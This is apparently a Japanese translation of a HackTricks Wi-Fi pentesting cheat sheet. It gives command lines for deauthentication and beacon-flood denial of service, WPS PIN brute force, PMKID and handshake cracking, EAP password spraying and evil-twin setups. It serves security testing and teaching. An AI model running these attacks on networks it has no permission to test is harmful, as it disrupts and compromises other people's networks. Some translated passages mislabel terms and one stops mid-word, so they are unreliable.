71 KiB
Wifiのペントテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
HackenProofはすべての暗号バグバウンティのホームです。
遅延なしで報酬を受け取る
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペントテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップして、ハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
Wifiの基本コマンド
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
EAPHammerは、802.11ネットワークでEAPフレームを悪用するためのツールです。EAPHammerは、EAPフレームを使用してネットワークに接続するクライアントを攻撃し、クライアントの認証情報を取得することができます。EAPHammerは、ネットワークの脆弱性をテストするために使用されることがあります。
EAPHammerを使用するには、次の手順に従ってください。
- EAPHammerをインストールします。
- EAPHammerを実行します。
- ターゲットのネットワークを選択します。
- EAPHammerが攻撃を開始します。
- クライアントがネットワークに接続すると、EAPHammerは攻撃を実行します。
- EAPHammerは、クライアントの認証情報を取得します。
EAPHammerは、ネットワークのセキュリティをテストするための強力なツールですが、悪用には使用しないでください。
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
Airgeddonは、ワイヤレスネットワークのペネトレーションテストに使用されるオールインワンのツールです。このツールは、さまざまな攻撃手法を使用して、WiFiネットワークの脆弱性をテストすることができます。
主な機能
- ワイヤレスネットワークのスキャンと検出
- ハンドシェイクキャプチャの自動化
- パスワードのクラック
- クライアントのディスコネクト
- ディスプレイの偽造
- ワイヤレスネットワークのジャミング
- ワイヤレスネットワークの偽造
- ワイヤレスネットワークの攻撃の自動化
インストール
Airgeddonは、Linuxディストリビューションで動作します。以下の手順に従って、Airgeddonをインストールしてください。
-
Airgeddonのリポジトリをクローンします。
git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
-
インストールスクリプトを実行します。
cd airgeddon sudo bash airgeddon.sh
-
インストールウィザードに従って、必要な依存関係をインストールします。
-
インストールが完了したら、Airgeddonを起動します。
sudo bash airgeddon.sh
使用方法
Airgeddonの使用方法については、公式のドキュメントを参照してください。ドキュメントには、ツールの各機能の詳細な説明と使用例が含まれています。
注意事項
Airgeddonは、合法的な目的のためにのみ使用してください。無断で他人のWiFiネットワークに侵入することは違法です。ネットワークの所有者の許可を得ることなく、Airgeddonを使用しないでください。
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Dockerを使用してairgeddonを実行する
If you prefer to run airgeddon in a Docker container, you can follow these steps:
-
Install Docker on your system if you haven't already done so.
-
Clone the airgeddon repository from GitHub:
git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
-
Change into the airgeddon directory:
cd airgeddon
-
Build the Docker image:
docker build -t airgeddon .
-
Run the Docker container:
docker run -it --net=host --privileged airgeddon
Note: The
--net=host
flag is used to allow the container to access the host network, and the--privileged
flag is used to give the container elevated privileges. -
Follow the on-screen instructions to use airgeddon within the Docker container.
By running airgeddon in a Docker container, you can isolate it from your host system and easily manage its dependencies.
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
wifiphisher
Evil Twin、KARMA、およびKnown Beacons攻撃を実行し、その後フィッシングテンプレートを使用してネットワークの実際のパスワードを取得するか、ソーシャルネットワークの資格情報をキャプチャすることができます。
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
このツールは、WPS/WEP/WPA-PSK 攻撃を自動化します。以下のことを自動的に行います:
- インターフェースをモニターモードに設定する
- 可能なネットワークをスキャンし、被害者を選択する
- WEP の場合、WEP 攻撃を実行する
- WPA-PSK の場合
- WPS の場合:Pixie Dust 攻撃とブルートフォース攻撃(ブルートフォース攻撃は時間がかかる可能性があるので注意)。ただし、null PIN やデータベース/生成された PIN は試しません。
- AP から PMKID をキャプチャしてクラックを試みる
- AP のクライアントを切断してハンドシェイクをキャプチャしようとする
- PMKID またはハンドシェイクがある場合、top5000 のパスワードを使用してブルートフォース攻撃を試みる
攻撃の概要
- DoS
- Deauthentication/disassociation -- すべてのクライアントを切断する(または特定の ESSID/クライアント)
- ランダムな偽 AP -- ネットワークを隠し、スキャナーをクラッシュさせる可能性がある
- AP の過負荷 -- AP を停止させようとする(通常はあまり有用ではありません)
- WIDS -- IDS と遊ぶ
- TKIP、EAPOL -- 一部の AP を DoS するための特定の攻撃
- クラッキング
- WEP のクラック(複数のツールと方法)
- WPA-PSK
- WPS ピンコードの「ブルートフォース」
- WPA PMKID のブルートフォース
- [DoS +] WPA ハンドシェイク のキャプチャ + クラッキング
- WPA-MGT
- ユーザー名のキャプチャ
- ブルートフォース 認証情報
- Evil Twin(DoS あり/なし)
- Open Evil Twin [+ DoS] -- キャプティブポータルの資格情報をキャプチャしたり、LAN 攻撃を実行するために役立ちます
- WPA-PSK Evil Twin -- パスワードを知っている場合にネットワーク攻撃に役立ちます
- WPA-MGT -- 企業の資格情報をキャプチャするために役立ちます
- KARMA, MANA, Loud MANA, Known beacon
- + Open -- キャプティブポータルの資格情報をキャプチャしたり、LAN 攻撃を実行するために役立ちます
- + WPA -- WPA ハンドシェイクをキャプチャするために役立ちます
DoS
切断パケット
この種の攻撃で最も一般的な方法は、切断パケットを使用することです。これらはデバイスをアクセスポイントから切断する責任を持つ「管理」フレームの一種です。これらのパケットを偽造することが、多くのWi-Fiネットワークをハックする鍵となります。ネットワークからいつでも任意のクライアントを強制的に切断することができます。これが行われる簡単さは、いくぶん恐ろしく、しばしばクラッキングのためのハンドシェイクを収集する一環として行われます。
この切断を一時的に利用してハンドシェイクを収集してクラックするだけでなく、これらの切断を続けることもできます。これにより、クライアントはネットワークからのように見える切断パケットを受け取ることになります。これらのフレームは暗号化されていないため、多くのプログラムは管理フレームを利用して、ネットワーク上の1つまたはすべてのデバイスに対して偽造して送信します。
ここからの説明です。
Aireplay-ng を使用した切断
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 は切断を意味します
- 1 は送信する切断パケットの数です(複数送信することも可能です);0 は連続的に送信します
- -a 00:14:6C:7E:40:80 はアクセスポイントのMACアドレスです
- -c 00:0F:B5:34:30:30 は切断するクライアントのMACアドレスです;省略するとブロードキャスト切断が送信されます(常に機能するわけではありません)
- ath0 はインターフェース名です
切断パケット
切断パケットは、近くのアクセスポイントからノード(ラップトップや携帯電話などのデバイス)を切断するために使用されるもう一つの管理フレームのタイプです。切断フレームと切断パケットの違いは、主に使用方法です。
不正なデバイスを切断するために、アクセスポイントは切断パケットを送信してデバイスにネットワークから切断されたことを通知します。一方、切断パケットは、アクセスポイントが電源を切ったり、再起動したり、エリアを離れるときに、ノードを切断するために使用されます。
ここからの説明です。
この攻撃は、mdk4(モード "d")で実行できます。
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
mdk4によるさらなるDOS攻撃
ここから。
攻撃モードb: ビーコンフラッディング
クライアントに偽のAPを表示するためにビーコンフレームを送信します。これにより、ネットワークスキャナーやドライバーがクラッシュすることもあります!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
攻撃モード a: 認証サービス拒否
範囲内で見つかったすべてのAPに認証フレームを送信します。多くのクライアントがいると、いくつかのAPがフリーズしたりリセットされたりする可能性があります。
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
攻撃モード p: SSIDプロービングとブルートフォース
APをプローブし、応答をチェックします。SSIDが正しく非表示にされているか、APが送信範囲内にあるかを確認するのに役立ちます。ワードリストを使用して非表示のSSIDをブルートフォースすることもできます。
攻撃モード m: Michael対策の悪用
ランダムなパケットを送信したり、別のQoSキューに重複パケットを再注入することで、TKIP APでMichael対策を引き起こします。APはその後1分間シャットダウンされるため、これは効果的なDoS攻撃です。
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
攻撃モード e: EAPOL スタートとログオフパケットのインジェクション
偽のセッションを使用して、APにEAPOLスタートフレームを大量に送信し、APを忙しくさせ、正規のクライアントを処理できないようにします。または、偽のEAPOL ログオフメッセージをインジェクションすることで、クライアントをログオフさせます。
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
攻撃モード s: IEEE 802.11s メッシュネットワークへの攻撃
メッシュネットワークにおけるリンク管理とルーティングに対するさまざまな攻撃。近隣ノードや経路にフラッド攻撃を行い、トラフィックを逸らしたり、ブラックホールを作成します!
攻撃モード w: WIDS 混乱
クライアントを複数のWDSノードにクロス接続したり、偽のローグAPに接続させることで、侵入検知および防止システムを混乱させます。
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
攻撃モード f: パケットファズ
複数のパケットソースと素晴らしい修飾子を備えたシンプルなパケットファズ。注意して使用してください!
Airggedon
Airgeddon は、前のコメントで提案された攻撃のほとんどを提供します:
WPS
WPSはWi-Fi Protected Setupの略です。これは、ルーターとワイヤレスデバイスの接続をより速く簡単にするためのワイヤレスネットワークセキュリティの標準です。WPSは、WPA PersonalまたはWPA2** Personalセキュリティプロトコルで暗号化されたパスワードを使用しているワイヤレスネットワークにのみ適用されます。WPSは、基本的なツールとスキルを持つハッカーによって簡単にクラックされることができる非推奨のWEPセキュリティを使用しているワイヤレスネットワークでは機能しません。(ここから引用)
WPSは、ユーザーがネットワークに接続するために8桁のPINを使用しますが、最初の4桁がまずチェックされ、正しい場合には次に2番目の4桁がチェックされます。その後、最初の半分をブルートフォースし、次に2番目の半分をブルートフォースすることができます(11000通りの可能性のみ)。
WPSブルートフォース
このアクションを実行するための2つの主要なツールがあります:ReaverとBully。
- Reaverは、WPSに対する堅牢で実用的な攻撃を行うように設計されており、さまざまなアクセスポイントとWPSの実装に対してテストされています。
- Bullyは、Cで書かれたWPSブルートフォース攻撃の新しい実装です。元のreaverコードに比べていくつかの利点があります:依存関係が少なく、メモリとCPUのパフォーマンスが向上し、エンディアンネスの正しい処理、より堅牢なオプションのセット。
この攻撃は、8桁のWPS PINコードの弱点を利用しています。この問題のため、プロトコルはPINの最初の4桁に関する情報を公開し、最後の桁はチェックサムとして機能し、WPS APのブルートフォースが容易になります。
一部のデバイスには、通常、攻撃を繰り返し試みるMACアドレスをブロックするブルートフォース保護が含まれています。その場合、この攻撃の複雑さが増します。PINをテストする間にMACアドレスを回転する必要があります。
WPSの有効なコードが見つかった場合、BullyとReaverはそれを使用してネットワークを保護するために使用されるWPA/WPA2 PSKを見つけるため、必要な時にいつでも接続することができます。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
スマートなブルートフォース
すべての可能なPINを試すことから始める代わりに、攻撃しているAPの利用可能なPINが発見されているかどうか(製造元のMACに依存)と、PINソフトウェアが生成したPINをチェックするべきです。
- 既知のPINのデータベースは、特定の製造元のアクセスポイントに対して、同じWPS PINが使用されていることが知られているものです。このデータベースにはMACアドレスの最初の3オクテットと、この製造元に非常に可能性の高い対応するPINのリストが含まれています。
- WPS PINを生成するためのいくつかのアルゴリズムがあります。たとえば、ComputePINとEasyBoxは、アクセスポイントのMACアドレスを計算に使用します。ただし、ArcadyanアルゴリズムではデバイスIDも必要です。
WPS Pixie Dust攻撃
Dominique Bongardは、一部のAPがノンス(E-S1およびE-S2として知られる)を生成する際に弱い方法を持っていることを発見しました。これらのノンスが何であるかを特定できれば、APのWPS PINを簡単に見つけることができます。なぜなら、APはPINをハッシュで私たちに提供する必要があり、それによってAPもPINを知っていることを証明し、クライアントが偽のAPに接続していないことを示すためです。これらのE-S1とE-S2は、WPS PINを含む「ロックボックスを開けるための鍵」と言えます。詳細はこちら:https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
基本的に、一部の実装では、認証通信中にPINが2つの部分に分解され、クライアントに送信される際にランダムなキーを使用することに失敗していたため、オフライン攻撃を使用して有効なPINをブルートフォースすることができました。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Null Pin攻撃
一部の非常に悪い実装では、Null PINを接続できるようにしてしまっています(非常に奇妙です)。Reaverはこれをテストすることができます(Bullyはできません)。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
すべての提案されたWPS攻撃は、_airgeddon_を使用して簡単に実行できます。
- 5と6はカスタムPINを試すことができます(もし持っている場合)
- 7と8はPixie Dust攻撃を実行します
- 13はNULL PINをテストすることができます
- 11と12は、利用可能なデータベースから選択したAPに関連するPINを収集し、ComputePIN、EasyBox、オプションでArcadyan(おすすめ、なぜなら)を使用して可能なPINを生成します
- 9と10はすべての可能なPINをテストします
WEP
壊れて消えたので、話すつもりはありません。ただし、_airgeddon_にはこの種の保護を攻撃するための「オールインワン」というWEPオプションがあります。他のツールも同様のオプションを提供しています。
HackenProofはすべての暗号バグバウンティの場所です。
遅延なしで報酬を受け取る
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペントestingの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップ ハッキングから収益を得ましょう!
{% embed url="https://hackenproof.com/register" %}
WPA/WPA2 PSK
PMKID
2018年、hashcatの作者は新しいタイプの攻撃を公開しました。この攻撃は1つのパケットに依存するだけでなく、攻撃者とAPとの通信にクライアントの接続が必要ありません。
実は、多くのモダンなルーターは、誰かが関連付けを行っているときにAP自体が送信する最初のEAPOLフレームの末尾にオプションのフィールドを追加します。これを「Robust Security Network」と呼び、PMKID
と呼ばれるものを含んでいます。
元の投稿で説明されているように、PMKIDは私たちには既知のデータを使用して派生します:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
「PMK Name」文字列が一定であるため、APとステーションのBSSIDとPMK
は完全な4ウェイハンドシェイクから取得したものと同じであることがわかっています。これだけでhashcatはPSKをクラックし、パスフレーズを回復することができます!
ここから取得した説明です。
この情報を収集し、パスワードをローカルでブルートフォースするには、次の手順を実行します:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
PMKIDsがキャプチャされ、コンソールに表示され、また**/tmp/attack.pcap内にも保存されます。
次に、キャプチャをhashcat/john**形式に変換し、それをクラックします。
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
正しいハッシュの形式は、4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7*566f6461666f6e65436f6e6e6563743034383131343838 のように、4つの部分から成ります。
もしハッシュが3つの部分しか含まれていない場合、それは無効です(PMKIDキャプチャが有効ではありません)。
hcxdumptool
はハンドシェイクもキャプチャします(次のようなものが表示されます: MP:M1M2 RC:63258 EAPOLTIME:17091
)。cap2hccapx
を使用して、ハンドシェイクをhashcat/johnの形式に変換することができます。
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
このツールでキャプチャされた一部のハンドシェイクは、正しいパスワードを知っていてもクラックすることができませんでした。可能であれば、従来の方法でもハンドシェイクをキャプチャするか、このツールを使用して複数のハンドシェイクをキャプチャすることをお勧めします。
ハンドシェイクのキャプチャ
WPA/WPA2ネットワークを攻撃する方法の一つは、ハンドシェイクをキャプチャして、オフラインで使用されるパスワードをクラックすることです。そのためには、被害者のネットワークのBSSIDとチャンネル、そしてネットワークに接続されているクライアントを見つける必要があります。
これらの情報を入手したら、そのBSSIDが使用するチャンネルでのすべての通信を監視する必要があります。なぜなら、ハンドシェイクがそこに送信されることを期待しているからです。
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
以下の手順で、クライアントを一時的に認証解除し、自動的にアクセスポイントに再認証させる必要があります(クライアントの認証解除方法については、DoSの部分を読んでください):
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
クライアントが認証解除された場合、別のAPに接続しようとするか、他のネットワークに接続しようとすることがあります。
airodump-ng
にハンドシェイク情報が表示されると、ハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます。
ハンドシェイクがキャプチャされたら、aircrack-ng
を使用して解読できます。
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
ファイル内のハンドシェイクを確認する
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tsharkは、Wiresharkのコマンドライン版です。tsharkを使用すると、ネットワークトラフィックをキャプチャし、解析することができます。以下は、tsharkの基本的な使用方法です。
tshark -i <interface> -w <output_file>
<interface>
は、キャプチャするネットワークインターフェースを指定します。<output_file>
は、キャプチャデータを保存するファイル名を指定します。
tsharkは、キャプチャデータを保存するだけでなく、フィルタリングや解析も行うことができます。以下は、tsharkの一般的なオプションです。
-f <capture_filter>
: キャプチャデータをフィルタリングします。-R <display_filter>
: キャプチャデータを解析するための表示フィルタを指定します。-Y <packet_filter>
: キャプチャデータを解析するためのパケットフィルタを指定します。
tsharkは、ネットワークトラフィックの解析やトラブルシューティングに役立つ強力なツールです。
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpattyは、WPA-PSKハンドシェイクのキャプチャファイルからWPA/WPA2パスフレーズをクラックするためのツールです。このツールは、事前共有キー(PSK)を見つけるために、辞書攻撃やブルートフォース攻撃を使用します。cowpattyは、WPA/WPA2のパスフレーズを解読するために必要な計算を高速化するために、WPAハンドシェイクのキャプチャファイルを使用します。このツールは、LinuxおよびmacOSで使用できます。
cowpatty -r psk-01.cap -s "ESSID" -f -
このツールは、完了していないESSIDのハンドシェイクを検出した場合、有効なハンドシェイクを検出しません。
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
WPAエンタープライズ(MGT)
異なる認証方法について話すことは重要です。企業のWifiでは、おそらくairodump-ng
で次のようなものが見つかるでしょう。
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
EAP(拡張認証プロトコル)
認証通信の骨組みであるEAP(拡張認証プロトコル)の上に、サーバーは認証アルゴリズムを使用してクライアント(サプリカント)を認証し、一部の場合ではクライアントがサーバーを認証するためにも使用されます。
この場合に使用される主な認証アルゴリズムは次のとおりです:
- EAP-GTC:ハードウェアトークンとワンタイムパスワードをEAP-PEAPでサポートするためのEAPメソッドです。MSCHAPv2と似た実装ですが、ピアチャレンジは使用しません。代わりに、パスワードは平文でアクセスポイントに送信されます(ダウングレード攻撃に非常に興味深い)。
- EAP-MD-5(メッセージダイジェスト):クライアントはパスワードのMD5ハッシュを送信します。推奨されません:辞書攻撃に対して脆弱であり、サーバーの認証も行われず、セッションごとの有線同等プライバシー(WEP)キーを生成する方法もありません。
- EAP-TLS(トランスポート層セキュリティ):クライアント側とサーバー側の証明書を使用して認証を行い、後続の通信を保護するためにユーザーベースおよびセッションベースのWEPキーを動的に生成するために使用されます。
- EAP-TTLS(トンネル化トランスポート層セキュリティ):暗号化されたチャネル(またはトンネル)を介してクライアントとネットワークの相互認証を行うだけでなく、ユーザーごとのセッションごとのWEPキーを生成する手段も提供します。EAP-TLSとは異なり、EAP-TTLSではサーバー側の証明書のみが必要です(クライアントは資格情報を使用します)。
- PEAP(保護拡張認証プロトコル):PEAPはEAPプロトコルのようですが、通信を保護するためにTLSトンネルを作成します。その後、弱い認証プロトコルをEAPの上に使用できます(トンネルによって保護されます)。
- PEAP-MSCHAPv2:これは広く採用されているため、PEAPとも呼ばれます。これはPEAPの上にある脆弱なチャレンジ/レスポンスであるMSCHAPv2です(TLSトンネルによって保護されます)。
- PEAP-EAP-TLSまたはPEAP-TLS:これはEAP-TLSに非常に似ていますが、証明書の交換の前にTLSトンネルが作成されます。
これらの認証方法の詳細については、こちらとこちらを参照してください。
ユーザー名のキャプチャ
https://tools.ietf.org/html/rfc3748#page-27を読むと、EAPを使用している場合、「Identity」メッセージがサポートされる必要があり、ユーザー名は**「Response Identity」メッセージでクリア**に送信されます。
最も安全な認証方法の1つであるPEAP-EAP-TLSを使用していても、EAPプロトコルで送信されるユーザー名をキャプチャすることができます。これを行うには、認証通信をキャプチャします(チャネル内でairodump-ng
を開始し、同じインターフェースでwireshark
を開始してパケットをeapol
でフィルタリングします)。
「Response, Identity」パケットの中に、クライアントのユーザー名が表示されます。
匿名のアイデンティティ
(情報はhttps://www.interlinknetworks.com/app_notes/eap-peap.htmから取得)
EAP-PEAPおよびEAP-TTLSの両方はアイデンティティの非表示をサポートしています。WiFi環境では、アクセスポイント(AP)は通常、関連付けプロセスの一部としてEAP-Identityリクエストを生成します。匿名性を保持するために、ユーザーシステム上のEAPクライアントは、リクエストを処理するために十分な情報のみを含む応答を送信する場合があります。
以下の例に示すように:
- EAP-Identity = anonymous
この例では、すべてのユーザーが疑似ユーザー名「anonymous」を共有します。最初のホップのRADIUSサーバーはEAP-PEAPまたはEAP-TTLSサーバーであり、PEAPまたはTTLSプロトコルのサーバーエンドを駆動します。内部(保護された)認証タイプは、ローカルで処理されるか、リモート(ホーム)RADIUSサーバーにプロキシされます。
- EAP-Identity = anonymous@realm_x
この例では、異なる領域に属するユーザーは自分自身のアイデンティティを隠し、所属する領域を示すだけです。これにより、最初のホップのRADIUSサーバーはユーザーのホーム領域のRADIUSサーバーにEAP-PEAPまたはEAP-TTLSリクエストをプロキシできます。最初のホップサーバーは純粋なRADIUSリレーノードとして機能します。
EAP-PEAPでは、PEAPサーバーとPEAPクライアントがTLSトンネルを確立すると、PEAPサーバーはEAP-Identityリクエストを生成し、TLSトンネルを介してそれを送信します。クライアントは、この2番目のEAP-Identityリクエストに応答して、暗号化されたトンネルを介してユーザーの真のアイデンティティを含むEAP-Identity応答を送信します。これにより、802.11トラフィックを傍受してもユーザーの真のアイデンティティを発見することはできません。
EAP-TTLSは少し異なる動作をします。EAP-TTLSでは、クライアントは通常、TLSトンネルで保護されたPAPまたはCHAPを介して認証します。この場合、クライアントは、トンネルが確立された後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。
どちらのプロトコルでも、TLSトンネルが確立されると、PEAP/TTLSサーバーはユーザーの真のアイデンティティを学習します。真のアイデンティティは、_user@realmまたは単にuserの形式である場合があります。PEAP/TTLSサーバーがuser_の認証も行っている場合、ユーザーのアイデンティティがわかり、TLSトンネルで保護されている認証方法を続行します。また、PEAP/TTLSサーバーは、ユーザーのホームRADIUSサーバーに新しいRADIUSリクエストを転送することもできます。この新しいRADIUSリクエストには、PEAPまたはTTLSプロトコルが削除されています。保護された認
EAP-Bruteforce(パスワードスプレー)
クライアントがユーザー名とパスワードを使用することが予想される場合(EAP-TLSは無効になります)、次の手順でユーザー名のリストとパスワードを取得し、air-hammerを使用してアクセスをブルートフォースすることができます。
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
あなたはeaphammer
を使用してもこの攻撃を実行することができます。
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
クライアント攻撃の理論
ネットワークの選択とローミング
802.11プロトコルは、ステーションがESSに参加する方法を指定する非常に具体的なルールを持っていますが、ステーションがどのESSに接続するかを選択する方法は指定していません。さらに、プロトコルは、同じESSを共有するアクセスポイント間でステーションが自由にローミングできるようにします(建物の一方から他方に移動する際にWiFi接続が失われることは望ましくありません)。ただし、802.11プロトコルはこれらのアクセスポイントがどのように選択されるべきかを指定していません。さらに、ステーションはアクセスポイントに関連付けるためにESSに認証されなければなりませんが、802.11プロトコルはアクセスポイントがステーションに認証されることを要求していません。
優先ネットワークリスト(PNL)
ステーションがワイヤレスネットワークに接続するたびに、ネットワークのESSIDはステーションの優先ネットワークリスト(PNL)に保存されます。 PNLは、ステーションが過去に接続したすべてのネットワークの順序付きリストであり、PNLの各エントリにはネットワークのESSIDと接続を確立するために必要なネットワーク固有の設定情報が含まれています。
パッシブスキャン
インフラストラクチャネットワークでは、アクセスポイントは定期的にビーコンフレームを送信して周辺のステーションに存在と機能を広告します。ビーコンはブロードキャストフレームであり、つまり、範囲内のすべての近くのステーションに受信されることを意味します。ビーコンにはAPのサポートされるレート、暗号化の機能、追加情報などの情報が含まれており、最も重要なのは、ビーコンフレームにAPのESSIDが含まれていることです(ESSIDのブロードキャストが無効にされていない限り)。
パッシブスキャン中、クライアントデバイスは近くのアクセスポイントからのビーコンフレームを受信します。クライアントデバイスがPNLのESSIDフィールドと一致するESSIDを持つビーコンフレームを受信した場合、クライアントは自動的にビーコンフレームを送信したアクセスポイントに接続します。次に、現在ワイヤレスに接続されていないワイヤレスデバイスをターゲットにしたい場合、そのクライアントのPNLに少なくとも1つのエントリを知っている場合、そのエントリのESSIDを使用して独自のアクセスポイントを作成するだけで、クライアントを接続させることができます。
アクティブプロービング
802.11で使用される2番目のネットワーク選択アルゴリズムはアクティブプロービングと呼ばれます。アクティブプロービングを使用するクライアントデバイスは、範囲内のAPが何であるか、およびその機能が何であるかを判断するために、継続的にプローブリクエストフレームを送信します。プローブリクエストには2つの形式があります:直接とブロードキャスト。直接プローブリクエストは特定のESSIDに宛てられ、特定のネットワークが近くにあるかどうかをクライアントが確認する方法です。
直接プロービングを使用するクライアントは、PNLの各ネットワークに対してプローブリクエストを送信します。なお、直接プロービングは近くに隠れたネットワークの存在を特定する唯一の方法であることに注意してください。ブロードキャストプローブリクエストはほぼ同じ方法で機能しますが、SSIDフィールドがNULLに設定されています。これにより、ブロードキャストプローブが近くのすべてのアクセスポイントに送信され、ステーションはPNLの内容を明らかにせずに、好みのネットワークが近くにあるかどうかを確認できます。
インターネットへのリダイレクトを備えたシンプルなAP
より複雑な攻撃の実行方法を説明する前に、単にAPを作成し、そのトラフィックをインターネットに接続されたインターフェースにリダイレクトする方法について説明します。
ifconfig -a
を使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認します。
DHCP&DNS
apt-get install dnsmasq #Manages DHCP and DNS
以下のように、_ /etc/dnsmasq.conf_ という名前の設定ファイルを作成します:
# Enable DNS forwarding
domain-needed
bogus-priv
# Specify the interface to listen on
interface=wlan0
# Set the DHCP range
dhcp-range=192.168.1.100,192.168.1.200,12h
# Set the DNS server
server=8.8.8.8
server=8.8.4.4
この設定ファイルでは、DNSの転送を有効にし、インターフェースをwlan0に設定し、DHCPの範囲を192.168.1.100から192.168.1.200までに設定し、有効期間を12時間に設定しています。また、DNSサーバーとして8.8.8.8と8.8.4.4を指定しています。
interface=wlan0
dhcp-authoritative
